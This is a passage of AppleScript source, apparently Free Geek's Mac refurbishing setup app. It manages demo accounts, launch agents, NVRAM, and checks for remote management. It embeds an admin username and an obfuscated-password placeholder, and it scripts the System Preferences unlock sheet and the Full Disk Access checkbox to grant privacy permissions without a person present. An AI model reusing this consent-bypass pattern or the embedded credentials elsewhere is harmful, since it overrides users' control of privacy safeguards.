“" & (name of me) & "” must be exported as a Run-Only Script."
on error checkReadOnlyErrorMessage
if ((checkReadOnlyErrorMessage does not contain "errOSASourceNotAvailable") and (checkReadOnlyErrorMessage does not start with "Can’t make file")) then
try
activate
end try
display alert checkReadOnlyErrorMessage buttons {"Quit"} default button 1 as critical
quit
delay 10
end if
end try
global adminUsername, adminPassword, lastDoShellScriptAsAdminAuthDate, tmpPath -- Needs to be accessible in checkEFIfirmwareIsNotInAllowList function and later in code and in the doShellScriptAsAdmin function.
set lastDoShellScriptAsAdminAuthDate to 0
set adminUsername to "fg-admin"
set adminPassword to "[MACLAND SCRIPT BUILDER WILL REPLACE THIS PLACEHOLDER WITH OBFUSCATED ADMIN PASSWORD]"
set demoUsername to "fg-demo"
set AppleScript's text item delimiters to ""
set tmpPath to ((POSIX path of (((path to temporary items) as text) & "::")) & "fg" & ((words of (name of me)) as string) & "-") -- On Catalina, writing to trailing folder "/TemporaryItems/" often fails with "Operation not permitted" for some reason. Also, prefix all files with "fg" and name of script.
if (((short user name of (system info)) is equal to demoUsername) and ((POSIX path of (path to me)) is equal to ("/Users/" & demoUsername & "/Applications/" & (name of me) & ".app/"))) then
set systemVersion to (system version of (system info))
considering numeric strings
set isMojaveOrNewer to (systemVersion ≥ "10.14")
set isCatalinaOrNewer to (systemVersion ≥ "10.15")
set isBigSurOrNewer to (systemVersion ≥ "11.0")
set isBigSurElevenDotThreeOrNewer to (systemVersion ≥ "11.3") -- For "nvram -c" on Apple Silicon
set isMontereyOrNewer to (systemVersion ≥ "12.0")
end considering
set buildInfoPath to ((POSIX path of (path to shared documents folder)) & "Build Info/")
try
set automationGuideAppPath to "/Users/" & demoUsername & "/Applications/Automation Guide.app"
((automationGuideAppPath as POSIX file) as alias)
if (application automationGuideAppPath is running) then
-- If Automation Guide is currently running, report the Accessibility permissions status and quit since Automation Guide is checking that it's safe to continue.
try
do shell script "mkdir " & (quoted form of buildInfoPath)
end try
if (isMojaveOrNewer) then
try
tell application "System Events" to every window -- To prompt for Automation access on Mojave
on error automationAccessErrorMessage number automationAccessErrorNumber
if (automationAccessErrorNumber is equal to -1743) then
try
do shell script ("tccutil reset AppleEvents " & currentBundleIdentifier) -- Clear AppleEvents (Automation) for this app in case user denied access in a previous attempt.
end try
end if
end try
end if
set hasAccessibilityPermissions to false
try
tell application "System Events" to tell application process "Finder" to (get windows)
set hasAccessibilityPermissions to true
end try
try
doShellScriptAsAdmin("echo " & hasAccessibilityPermissions & " > " & (quoted form of (buildInfoPath & ".fgAutomationGuideAccessibilityStatus-" & currentBundleIdentifier)))
end try
else
-- If Automation Guide hasn't been run yet, launch it.
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script ("open -n -a " & (quoted form of automationGuideAppPath))
end try
end if
quit
delay 10
end try
-- demoUsername will be made an Admin and have it's Full Name changed temporarily during Automation Guide and will be changed back in Automation Guide.
-- But still, double check here that it got reset to it's correct state (in case Automation Guide was force quit or something weird/sneaky).
set demoUsernameIsAdmin to true
try
set demoUsernameIsAdmin to ((do shell script ("dsmemberutil checkmembership -U " & (quoted form of demoUsername) & " -G 'admin'")) is equal to "user is a member of the group")
end try
if (demoUsernameIsAdmin) then
try
doShellScriptAsAdmin("dseditgroup -o edit -d " & (quoted form of demoUsername) & " -t user admin")
end try
end if
set demoUsernameIsCorrect to false
try
set demoUsernameIsCorrect to ((do shell script ("id -F " & (quoted form of demoUsername))) is equal to "Free Geek Demo User")
end try
if (not demoUsernameIsCorrect) then
try
doShellScriptAsAdmin("dscl . -create " & (quoted form of ("/Users/" & demoUsername)) & " RealName 'Free Geek Demo User'")
end try
end if
set dialogIconName to "applet"
try
((((POSIX path of (path to me)) & "Contents/Resources/" & (name of me) & ".icns") as POSIX file) as alias)
set dialogIconName to (name of me)
end try
if (isMojaveOrNewer) then
set needsAutomationAccess to false
try
tell application "System Events" to every window -- To prompt for Automation access on Mojave
on error automationAccessErrorMessage number automationAccessErrorNumber
if (automationAccessErrorNumber is equal to -1743) then set needsAutomationAccess to true
end try
try
tell application "Finder" to every window -- To prompt for Automation access on Mojave
on error automationAccessErrorMessage number automationAccessErrorNumber
if (automationAccessErrorNumber is equal to -1743) then set needsAutomationAccess to true
end try
if (needsAutomationAccess) then
try
tell application "System Preferences"
try
activate
end try
reveal ((anchor "Privacy") of (pane id "com.apple.preference.security"))
end tell
end try
try
activate
end try
try
display dialog "“" & (name of me) & "” must be allowed to control and perform actions in “System Events” and “Finder” to be able to function.
USE THE FOLLOWING STEPS TO FIX THIS ISSUE:
• Open the “System Preferences” application.
• Click the “Security & Privacy” preference pane.
• Select the “Privacy” tab.
• Select “Automation” in the source list on the left.
• Find “" & (name of me) & "” in the list on the right and turn on the “System Events” and “Finder” checkboxes underneath it.
• Relaunch “" & (name of me) & "” (using the button below)." buttons {"Quit", "Relaunch “" & (name of me) & "”"} cancel button 1 default button 2 with title (name of me) with icon dialogIconName
try
do shell script "osascript -e 'delay 0.5' -e 'repeat while (application \"" & (POSIX path of (path to me)) & "\" is running)' -e 'delay 0.5' -e 'end repeat' -e 'do shell script \"open -n -a \\\"" & (POSIX path of (path to me)) & "\\\"\"' > /dev/null 2>&1 &"
end try
end try
quit
delay 10
end if
end if
try
tell application "System Events" to tell application process "Finder" to (get windows)
-- If launched by Automation Guide, Accessibility permissions should already be granted, but we still want to check for System Preferences Automation permission.
(((buildInfoPath & ".fgAutomationGuideRunning") as POSIX file) as alias)
error "fgAutomationGuideRunning" -- throw this error if file DOES exist.
on error (assistiveAccessTestErrorMessage)
if (((offset of "not allowed assistive" in assistiveAccessTestErrorMessage) > 0) or (assistiveAccessTestErrorMessage is equal to "fgAutomationGuideRunning")) then
if (isMojaveOrNewer) then
-- NOTE: DO NOT NEED TO REQUEST "Safari" ACCESS, since it Safari is only automated for iMac12,Xs which only support up to High Sierra.
if (isBigSurOrNewer) then
-- NOTE: Only need to automate System Preferences when reset Snapshot created, and on Big Sur or newer (since mounting Snapshot does not help on Catalina).
try
(("/Users/Shared/.fgResetSnapshotCreated" as POSIX file) as alias)
try
tell application "System Preferences" to every window
on error automationAccessErrorMessage number automationAccessErrorNumber
if (automationAccessErrorNumber is equal to -1743) then
try
tell application "System Preferences"
try
activate
end try
reveal ((anchor "Privacy") of (pane id "com.apple.preference.security"))
end tell
end try
try
activate
end try
try
display dialog "“" & (name of me) & "” must be allowed to control and perform actions in “System Preferences” to be able to function.
USE THE FOLLOWING STEPS TO FIX THIS ISSUE:
• Open the “System Preferences” application.
• Click the “Security & Privacy” preference pane.
• Select the “Privacy” tab.
• Select “Automation” in the source list on the left.
• Find “" & (name of me) & "” in the list on the right and turn on the “System Preferences” checkbox underneath it.
• Relaunch “" & (name of me) & "” (using the button below)." buttons {"Quit", "Relaunch “" & (name of me) & "”"} cancel button 1 default button 2 with title (name of me) with icon dialogIconName
try
do shell script "osascript -e 'delay 0.5' -e 'repeat while (application \"" & (POSIX path of (path to me)) & "\" is running)' -e 'delay 0.5' -e 'end repeat' -e 'do shell script \"open -n -a \\\"" & (POSIX path of (path to me)) & "\\\"\"' > /dev/null 2>&1 &"
end try
end try
quit
delay 10
end if
end try
try
with timeout of 1 second
tell application "System Preferences" to quit
end timeout
end try
end try
end if
end if
if (assistiveAccessTestErrorMessage is not equal to "fgAutomationGuideRunning") then
try
tell application "Finder" to reveal (path to me)
end try
try
tell application "System Preferences"
try
activate
end try
reveal ((anchor "Privacy_Accessibility") of (pane id "com.apple.preference.security"))
end tell
end try
try
activate
end try
try
display dialog "“" & (name of me) & "” must be allowed to control this computer using Accessibility Features to be able to function.
USE THE FOLLOWING STEPS TO FIX THIS ISSUE:
• Open the “System Preferences” application.
• Click the “Security & Privacy” preference pane.
• Select the “Privacy” tab.
• Select “Accessibility” in the source list on the left.
• Click the Lock icon at the bottom left of the window, enter the administrator username and password, and then click Unlock.
• Find “" & (name of me) & "” in the list on the right and turn on the checkbox next to it. If “" & (name of me) & "” IS NOT in the list, drag-and-drop the app icon from Finder into the list.
• Relaunch “" & (name of me) & "” (using the button below)." buttons {"Quit", "Relaunch “" & (name of me) & "”"} cancel button 1 default button 2 with title (name of me) with icon dialogIconName
try
do shell script "osascript -e 'delay 0.5' -e 'repeat while (application \"" & (POSIX path of (path to me)) & "\" is running)' -e 'delay 0.5' -e 'end repeat' -e 'do shell script \"open -n -a \\\"" & (POSIX path of (path to me)) & "\\\"\"' > /dev/null 2>&1 &"
end try
end try
quit
delay 10
end if
end if
end try
try
(((buildInfoPath & ".fgAutomationGuideRunning") as POSIX file) as alias)
try
doShellScriptAsAdmin("touch " & (quoted form of (buildInfoPath & ".fgAutomationGuideDid-" & currentBundleIdentifier)))
end try
try
(((buildInfoPath & ".fgAutomationGuideDid-org.freegeek.Cleanup-After-QA-Complete") as POSIX file) as alias)
try
(((buildInfoPath & ".fgAutomationGuideDid-org.freegeek.Free-Geek-Demo-Helper") as POSIX file) as alias)
try -- If did all apps, delete all Automation Guide flags and continue setup
doShellScriptAsAdmin("rm -f " & (quoted form of (buildInfoPath & ".fgAutomationGuide")) & "*")
end try
on error
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a '/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app'"
end try
end try
on error
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a " & (quoted form of ("/Users/" & demoUsername & "/Applications/Cleanup After QA Complete.app"))
end try
end try
(((buildInfoPath & ".fgAutomationGuideRunning") as POSIX file) as alias) -- Will error and not quit if flag no longer exists if we're done with the Automation Guide cycle.
quit
delay 10
end try
try
activate
end try
set progress total steps to -1
set progress completed steps to 0
set progress description to "🚧 " & (name of me) & " is Preparing this Mac…"
set progress additional description to "
🚫 DO NOT TOUCH THIS MAC WHILE IT IS BEING SET UP"
try
repeat with thisWindow in (current application's NSApp's |windows|())
if (thisWindow's isVisible() is true) then
if (((thisWindow's title()) as string) is equal to (name of me)) then
repeat with thisProgressWindowSubView in ((thisWindow's contentView())'s subviews())
if (((thisProgressWindowSubView's className()) as string) is equal to "NSButton" and ((thisProgressWindowSubView's title() as string) is equal to "Stop")) then
(thisProgressWindowSubView's setEnabled:false)
exit repeat
end if
end repeat
end if
end if
end repeat
end try
try
(((buildInfoPath & ".fgUpdaterJustFinished") as POSIX file) as alias)
on error
delay 3 -- Add some delay so system stuff can get going on login. (Don't delay again if launched for a second time after Free Geek Updater just finished.)
end try
try
tell application "System Events" to delete login item (name of me)
end try
set userLaunchAgentsPath to ((POSIX path of (path to library folder from user domain)) & "LaunchAgents/")
set fgSetupLaunchAgentPlistName to "org.freegeek.Free-Geek-Setup.plist"
set fgSetupUserLaunchAgentPlistPath to (userLaunchAgentsPath & fgSetupLaunchAgentPlistName)
try
((userLaunchAgentsPath as POSIX file) as alias)
on error
try
tell application "Finder" to make new folder at (path to library folder from user domain) with properties {name:"LaunchAgents"}
end try
end try
set fgSetupUserLaunchAgentPlistContents to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>org.freegeek.Free-Geek-Setup</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/open</string>
<string>-n</string>
<string>-a</string>
<string>/Users/" & demoUsername & "/Applications/" & (name of me) & ".app</string>
</array>
<key>StandardOutPath</key>
<string>/dev/null</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>"
set needsToWriteFgSetupUserLaunchAgentPlistFile to false
try
((fgSetupUserLaunchAgentPlistPath as POSIX file) as alias)
set currentFgSetupUserLaunchAgentPlistContents to (read (fgSetupUserLaunchAgentPlistPath as POSIX file))
if (currentFgSetupUserLaunchAgentPlistContents is not equal to fgSetupUserLaunchAgentPlistContents) then
set needsToWriteFgSetupUserLaunchAgentPlistFile to true
try
do shell script "launchctl unload " & (quoted form of fgSetupUserLaunchAgentPlistPath)
end try
end if
on error
set needsToWriteFgSetupUserLaunchAgentPlistFile to true
try
tell application "Finder" to make new file at (userLaunchAgentsPath as POSIX file) with properties {name:fgSetupLaunchAgentPlistName}
end try
end try
if (needsToWriteFgSetupUserLaunchAgentPlistFile) then
try
set openedFgSetupUserLaunchAgentPlistFile to open for access (fgSetupUserLaunchAgentPlistPath as POSIX file) with write permission
set eof of openedFgSetupUserLaunchAgentPlistFile to 0
write fgSetupUserLaunchAgentPlistContents to openedFgSetupUserLaunchAgentPlistFile starting at eof
close access openedFgSetupUserLaunchAgentPlistFile
on error
try
close access (fgSetupUserLaunchAgentPlistPath as POSIX file)
end try
end try
try
do shell script "launchctl load " & (quoted form of fgSetupUserLaunchAgentPlistPath)
end try
end if
try
doShellScriptAsAdmin("rm -f /Users/" & adminUsername & "/Library/Preferences/ByHost/*")
end try
try
do shell script ("rm -f /Users/" & demoUsername & "/Library/Preferences/ByHost/*")
end try
set shouldRunDemoHelper to true -- Run Demo Helper once before any updates are done.
try
(((buildInfoPath & ".fgUpdaterJustFinished") as POSIX file) as alias)
set shouldRunDemoHelper to false -- Don't re-run Demo Helper if only other apps were updated.
end try
if (shouldRunDemoHelper) then
try
-- Let Demo Helper know that it was launched by Setup so that it will always open QA Helper even if idle time is too short or time since boot is too long (which can happen on Big Sur because of Automation Guide).
doShellScriptAsAdmin("touch " & (quoted form of (buildInfoPath & ".fgSetupLaunchedDemoHelper")))
end try
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a '/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app'" -- Launch Demo Helper once first (even on source drive) before any other long processes start and any situations that may cause Setup to not finish. Demo Helper will be set to auto-launch after Setup is finished.
set demoHelperDidLaunch to false
repeat 10 times
try
if (application ("/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app") is running) then
set demoHelperDidLaunch to true
exit repeat
end if
end try
delay 1
end repeat
if (demoHelperDidLaunch) then
try
repeat while (application ("/Users/" & demoUsername & "/Applications/Free Geek Demo Helper.app") is running) -- Wait for Demo Helper to finish so that Setup and Demo Helper don't interfere with eachother.
delay 0.5
end repeat
end try
end if
end try
end if
-- GRANT FREE GEEK SNAPSHOT HELPER FULL DISK ACCESS (so that fg-snapshot-preserver does not need to manipulate the date, which could cause problems when the date get far out of sync)
try
((("/Users/" & demoUsername & "/Applications/Free Geek Snapshot Helper.app") as POSIX file) as alias)
try
(("/Users/Shared/.fg-snapshot-preserver" as POSIX file) as alias)
set shouldGrantSnapshotHelperFullDiskAccess to true
if (not isBigSurOrNewer) then
-- DO NOT bother granting "Free Geek Snapshot Helper" Full Disk Access on Catalin since mounting the Snapshot does not help (see CAVEAT notes in fg-snapshot-preserver).
set shouldGrantSnapshotHelperFullDiskAccess to false
else
try
(((buildInfoPath & ".fgUpdaterJustFinished") as POSIX file) as alias)
set shouldGrantSnapshotHelperFullDiskAccess to false -- Don't need to re-grant Snapshot Helper Full Disk Access after updating other apps.
try
(((buildInfoPath & ".fgUpdaterJustUpdated-org.freegeek.Free-Geek-Setup") as POSIX file) as alias)
set shouldGrantSnapshotHelperFullDiskAccess to true -- Unless Setup (this app) was just updated and could possibly contain bug fixes in the granting Snapshot Helper Full Disk Access code.
end try
end try
end if
if (shouldGrantSnapshotHelperFullDiskAccess) then
repeat 15 times
-- Launch "Free Geek Snapshot Helper" to be sure macOS has added it to the Full Disk Access list and the automation only needs to check the box instead of adding it to the list.
try
-- For some reason, on Big Sur, apps are not opening unless we specify "-n" to "Open a new instance of the application(s) even if one is already running." All scripts have LSMultipleInstancesProhibited to this will not actually ever open a new instance.
do shell script "open -n -a '/Users/" & demoUsername & "/Applications/Free Geek Snapshot Helper.app'"
set snapshotHelperDidLaunch to false
repeat 10 times
try
if (application ("/Users/" & demoUsername & "/Applications/Free Geek Snapshot Helper.app") is running) then
set snapshotHelperDidLaunch to true
exit repeat
end if
end try
delay 1
end repeat
if (snapshotHelperDidLaunch) then
try
repeat while (application ("/Users/" & demoUsername & "/Applications/Free Geek Snapshot Helper.app") is running) -- Wait for Snapshot Helper to quit so that System Preferences will not prompt to quit it when granted Full Disk Access.
delay 0.5
end repeat
end try
end if
end try
try
(("/Users/Shared/.fgResetSnapshotCreated" as POSIX file) as alias) -- Do not bother granting Full Disk Access if the Snapshot was lost, in which case Snapshot Helper will just be used to display an error.
set snapshotHelperFullDiskAccessCheckboxValue to false
try
tell application "System Preferences"
repeat 180 times -- Wait for Security pane to load
try
activate
end try
reveal ((anchor "Privacy_AllFiles") of (pane id "com.apple.preference.security"))
delay 1
if ((name of window 1) is "Security & Privacy") then exit repeat
end repeat
end tell
tell application "System Events" to tell application process "System Preferences"
repeat with thisButton in (buttons of window 1)
if (((name of thisButton) is equal to "Click the lock to make changes.") or ((name of thisButton) is equal to "Authenticating…")) then
set frontmost to true
click thisButton
repeat 60 times -- Wait for password prompt
delay 0.5
set frontmost to true
if ((number of sheets of window (number of windows)) is equal to 1) then exit repeat
delay 0.5
end repeat
if ((number of sheets of window (number of windows)) is equal to 1) then
set frontmost to true
if (isMontereyOrNewer) then
-- This sheet has been redesigned on Monterey and the username is now "text field 1"
set value of (text field 1 of sheet 1 of window (number of windows)) to adminUsername
-- As of beta 1, for some reason this sheet on Monterey will only show that it has 1 text field until the 2nd text field has been focused, so focus it by tabbing.
set frontmost to true
keystroke tab
set value of (text field 2 of sheet 1 of window (number of windows)) to adminPassword
else
set value of (text field 2 of sheet 1 of window (number of windows)) to adminUsername
set frontmost to true
set focused of (text field 1 of sheet 1 of window (number of windows)) to true -- Seems to not accept the password if the field is never focused.
set frontmost to true
set value of (text field 1 of sheet 1 of window (number of windows)) to adminPassword
end if
repeat with thisSheetButton in (buttons of sheet 1 of window (number of windows))
if ((name of thisSheetButton) is equal to "Unlock") then
set frontmost to true
click thisSheetButton
end if
end repeat
repeat 10 times -- Wait for password prompt to close
delay 0.5
if ((number of sheets of window (number of windows)) is equal to 0) then exit repeat
delay 0.5
end repeat
if ((number of sheets of window (number of windows)) is equal to 1) then
set frontmost to true
key code 53 -- Press ESCAPE in case something went wrong and the password prompt is still up.
end if
end if
exit repeat
else if ((name of thisButton) is equal to "Click the lock to prevent further changes.") then
exit repeat
end if
end repeat
repeat with thisButton in (buttons of window 1)
if ((name of thisButton) is equal to "Click the lock to prevent further changes.") then
repeat with thisFullDiskAccessRow in (every row of table 1 of scroll area 1 of group 1 of tab group 1 of window 1)
if ((name of UI element 1 of thisFullDiskAccessRow) is equal to "Free Geek Snapshot Helper") then
set snapshotHelperFullDiskAccessCheckbox to (checkbox 1 of UI element 1 of thisFullDiskAccessRow)
if ((snapshotHelperFullDiskAccessCheckbox's value as boolean) is false) then
set frontmost to true
click snapshotHelperFullDiskAccessCheckbox
-- Should not be running, but in case it is, dismiss the relaunch prompt
repeat 5 times -- Wait for relaunch prompt
delay 0.5
if ((number of sheets of window (number of windows)) is 1) then exit repeat
delay 0.5
end repeat
if ((number of sheets of window (number of windows)) is 1) then
set frontmost to true
repeat with thisSheetButton in (buttons of sheet 1 of window (number of windows))
if ((name of thisSheetButton) is equal to "Later") then
set frontmost to true
click thisSheetButton
exit repeat
end if
end repeat
if ((number of sheets of window (number of windows)) is 1) then
repeat 5 times -- Wait for relaunch prompt to be gone
delay 0.5
if ((number of sheets of window (number of windows)) is 0) then exit repeat
delay 0.5
end repeat
end if
end if
end if
set snapshotHelperFullDiskAccessCheckboxValue to (snapshotHelperFullDiskAccessCheckbox's value as boolean)
exit repeat
end if
end repeat
exit repeat
end if
end repeat
end tell
end try
try
with timeout of 1 second
tell application "System Preferences" to quit
end timeout
end try
try
activate
end try
if (snapshotHelperFullDiskAccessCheckboxValue is true) then
try
-- Run fg-snapshot-preserver after Snapshot Helper has been granted Full Disk Access to the get the reset Snapshot mounted as soon as possible,
-- so that the date can be set correctly before running Free Geek Updater or eficheck which can fail if the date is not correct.
doShellScriptAsAdmin("/Users/Shared/.fg-snapshot-preserver/fg-snapshot-preserver.sh")
end try
exit repeat
end if
on error
exit repeat
end try
end repeat
try
activate
end try
end if
on error
-- Delete "Free Geek Snapshot Helper" if ".fg-snapshot-preserver" doesn't exist, which means we're on High Sierra or Mojave.
doShellScriptAsAdmin("rm -rf " & (quoted form of ("/Users/" & demoUsername & "/Applications/Free Geek Snapshot Helper.app")))
end try
end try
set freeGeekUpdaterExists to false
try
((("/Users/" & demoUsername & "/Applications/Free Geek Updater.app") as POSIX file) as alias)
set freeGeekUpdaterExists to true
end try
try
if (freeGeekUpdaterExists) then
(((buildInfoPath & ".fgUpdaterJustFinished") as POSIX file) as alias) -- If just ran updater, then continue with setup. If not, we will launch updater.
try
doShellScriptAsAdmin("rm -f " & (quoted form of (buildInfoPath & ".fgUpdater")) & "*")
end try
end if
-- Wait for internet before checking EFI Firmware since AllowList may need to be update, and before installing Rosetta on Apple Silicon, as well as before launching QA Helper (if on source drive) to ensure that QA Helper can always update itself to the latest version.
repeat 60 times
try
do shell script "ping -c 1 www.google.com"
exit repeat
on error
set progress additional description to "
📡 WAITING FOR INTERNET (Connect to Wi-Fi or Ethernet)…"
delay 5
end try
end repeat
try
if (((do shell script "sysctl -in hw.optional.arm64") is equal to "1") and ((do shell script "file '/Users/" & demoUsername & "/Applications/QA Helper.app/Contents/MacOS/QA Helper'") does not contain ("[arm64:Mach-O 64-bit executable arm64]"))) then
try -- Install Rosetta 2 if on Apple Silicon if QA Helper IS NOT Universal since it will need it to be able to run.
-- Starting with Java 17 (which has seperate downloads for Intel and Apple Silicon and normally makes seperate native apps when jpackage is used on each platform), I figured out how to make QA Helper a Univeral Binary, but doesn't hurt to keep this check in place.
doShellScriptAsAdmin("softwareupdate --install-rosetta --agree-to-license")
end try
end if
end try
-- Always run eficheck first even if on source drive to keep the AllowList up-to-date.
set currentEFIfirmwareIsNotInAllowList to checkEFIfirmwareIsNotInAllowList()
-- If we're on a real production drive, then check more stuff and set Demo Helper to launch every 30 minutes, etc.
try
-- DO NOT clear NVRAM if TRIM has been enabled on Catalina with "trimforce enable" because clearing NVRAM will undo it. (The TRIM flag is not stored in NVRAM before Catalina.)
doShellScriptAsAdmin("nvram EnableTRIM") -- This will error if the flag does not exist.
on error
try -- Clear NVRAM if we're not on the source drive (just for house cleaning purposes, this doesn't clear SIP).
if (isBigSurElevenDotThreeOrNewer or (do shell script "sysctl -in hw.optional.arm64" is not equal to "1")) then
-- ALSO, do not clear NVRAM on Apple Silicon IF OLDER THAN 11.3 since it will cause an error saying that macOS needs to be reinstalled (but can boot properly after re-selecting the internal drive in Startup Disk),
-- since it deletes important NVRAM keys (such as "boot-volume") which are now protected and cannot be deleted on 11.3 and newer.
try
doShellScriptAsAdmin("nvram -c")
end try
end if
end try
end try
set serialNumber to ""
try
set serialNumber to (do shell script ("bash -c " & (quoted form of "/usr/libexec/PlistBuddy -c 'Print :0:IOPlatformSerialNumber' /dev/stdin <<< \"$(ioreg -arc IOPlatformExpertDevice -k IOPlatformSerialNumber -d 1)\"")))
end try
if (serialNumber is not equal to "") then
try
do shell script "ping -t 5 -c 1 www.apple.com" -- Only try to get DEP status if we have internet.
delay 0.5
set remoteManagementOutput to ""
try
try
set remoteManagementOutput to doShellScriptAsAdmin("profiles renew -type enrollment; profiles show -type enrollment 2>&1; exit 0")
on error profilesShowDefaultUserErrorMessage number profilesShowDefaultUserErrorNumber
if (profilesShowDefaultUserErrorNumber is not equal to -60007) then error profilesShowDefaultUserErrorMessage number profilesShowDefaultUserErrorNumber
try
activate
end try
display alert "Would you like to check for
Remote Management (DEP/MDM)?" message "Remote Management check will be skipped in 10 seconds." buttons {"No", "Yes"} cancel button 1 default button 2 giving up after 10
if (gave up of result) then error number -128
set remoteManagementOutput to (do shell script "profiles renew -type enrollment; profiles show -type enrollment 2>&1; exit 0" with prompt "Administrator Permission is required
to check for Remote Management (DEP/MDM)." with administrator privileges)
end try
end try
if (remoteManagementOutput contains " - Request too soon.") then -- macOS 12.3 adds client side "profiles show" rate limiting of once every 23 hours: https://derflounder.wordpress.com/2022/03/22/profiles-command-includes-client-side-rate-limitation-for-certain-functions-on-macos-12-3/
try
set remoteManagementOutput to (do shell script ("cat " & (quoted form of (buildInfoPath & ".fgLastRemoteManagementCheckOutput"))))
end try
else if (remoteManagementOutput is not equal to "") then -- So always cache the last "profiles show" output so we can show the last valid results in case it's checked again within 23 hours.
try
do shell script ("mkdir " & (quoted form of buildInfoPath))
end try
try
do shell script ("echo " & (quoted form of remoteManagementOutput) & " > " & (quoted form of (buildInfoPath & ".fgLastRemoteManagementCheckOutput"))) with administrator privileges -- DO NOT specify username and password in case it was prompted for. This will still work within 5 minutes of the last authenticated admin permissions run though.
end try
end if
if (remoteManagementOutput contains " - Request too soon.") then -- Don't allow setup if rate limited and there was no previous cached output to use.
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
set nextAllowedProfilesShowTime to "23 hours after last successful check"
try
set nextAllowedProfilesShowTime to ("at " & (do shell script "date -jv +23H -f '%FT%TZ %z' \"$(plutil -extract lastProfilesShowFetchTime raw /private/var/db/ConfigurationProfiles/Settings/.profilesFetchTimerCheck) +0000\" '+%-I:%M:%S %p on %D'"))
end try
display alert ("Cannot Continue Setup
Unable to Check Remote Management Because of Once Every 23 Hours Rate Limiting
Next check will be allowed " & nextAllowedProfilesShowTime & ".") message "This should not have happened, please inform Free Geek I.T." buttons {"Shut Down"} as critical
tell application "System Events" to shut down with state saving preference
quit
delay 10
else if (remoteManagementOutput is not equal to "") then
try
set remoteManagementOutputParts to (paragraphs of remoteManagementOutput)
if ((count of remoteManagementOutputParts) > 3) then
set remoteManagementOrganizationName to "\"Unknown Organization\""
set remoteManagementOrganizationContactInfo to {}
repeat with thisRemoteManagementOutputPart in remoteManagementOutputParts
set organizationNameOffset to (offset of "OrganizationName = \"" in thisRemoteManagementOutputPart)
set organizationDepartmentOffset to (offset of "OrganizationDepartment = \"" in thisRemoteManagementOutputPart)
set organizationEmailOffset to (offset of "OrganizationEmail = \"" in thisRemoteManagementOutputPart)
set organizationPhoneOffset to (offset of "OrganizationPhone = \"" in thisRemoteManagementOutputPart)
set organizationSupportPhoneOffset to (offset of "OrganizationSupportPhone = \"" in thisRemoteManagementOutputPart)
if (organizationNameOffset > 0) then
set remoteManagementOrganizationName to (text (organizationNameOffset + 19) thru -2 of thisRemoteManagementOutputPart)
else if (organizationDepartmentOffset > 0) then
set remoteManagementOrganizationDepartment to (text (organizationDepartmentOffset + 26) thru -3 of thisRemoteManagementOutputPart)
if ((remoteManagementOrganizationDepartment is not equal to "") and (remoteManagementOrganizationContactInfo does not contain remoteManagementOrganizationDepartment)) then set (end of remoteManagementOrganizationContactInfo) to remoteManagementOrganizationDepartment
else if (organizationEmailOffset > 0) then
set remoteManagementOrganizationEmail to (text (organizationEmailOffset + 21) thru -3 of thisRemoteManagementOutputPart)
if ((remoteManagementOrganizationEmail is not equal to "") and (remoteManagementOrganizationContactInfo does not contain remoteManagementOrganizationEmail)) then set (end of remoteManagementOrganizationContactInfo) to remoteManagementOrganizationEmail
else if (organizationPhoneOffset > 0) then
set remoteManagementOrganizationPhone to (text (organizationPhoneOffset + 21) thru -3 of thisRemoteManagementOutputPart)
if ((remoteManagementOrganizationPhone is not equal to "") and (remoteManagementOrganizationContactInfo does not contain remoteManagementOrganizationPhone)) then set (end of remoteManagementOrganizationContactInfo) to remoteManagementOrganizationPhone
else if (organizationSupportPhoneOffset > 0) then
set remoteManagementOrganizationSupportPhone to (text (organizationSupportPhoneOffset + 28) thru -3 of thisRemoteManagementOutputPart)
if ((remoteManagementOrganizationSupportPhone is not equal to "") and (remoteManagementOrganizationContactInfo does not contain remoteManagementOrganizationSupportPhone)) then set (end of remoteManagementOrganizationContactInfo) to remoteManagementOrganizationSupportPhone
end if
end repeat
set remoteManagementOrganizationContactInfoDisplay to "NO CONTACT INFORMATION"
if ((count of remoteManagementOrganizationContactInfo) > 0) then
set AppleScript's text item delimiters to (linefeed & tab & tab)
set remoteManagementOrganizationContactInfoDisplay to (remoteManagementOrganizationContactInfo as string)
end if
try
activate
end try
try
do shell script "afplay /System/Library/Sounds/Basso.aiff"
end try
set remoteManagementDialogButton to " Shut Down "
-- For some reason centered text with padding in a dialog button like this doesn't work as expected on Catalina
if (isCatalinaOrNewer) then set remoteManagementDialogButton to "Shut Down "
display dialog " ⚠️ REMOTE MANAGEMENT IS ENABLED ON THIS MAC ⚠️
❌ MACS WITH REMOTE MANAGEMENT ENABLED CANNOT BE SOLD ❌
🔒 THIS MAC IS MANAGED BY " & remoteManagementOrganizationName & "
🔑 ONLY " & remoteManagementOrganizationName & " CAN DISABLE REMOTE MANAGEMENT
☎️ " & remoteManagementOrganizationName & " MUST BE CONTACTED BY A MANAGER:
" & remoteManagementOrganizationContactInfoDisplay & "
🆔 THE SERIAL NUMBER FOR THIS MAC IS \"" & serialNumber & "\"
👉 ‼️ INFORM AN INSTRUCTOR OR MANAGER ‼️ 👈" buttons {remoteManagementDialogButton} with title "Remote Management Enabled"
tell application "System Events" to shut down with state saving preference
quit
delay 10
end if
end try
end if
end try
end if
try
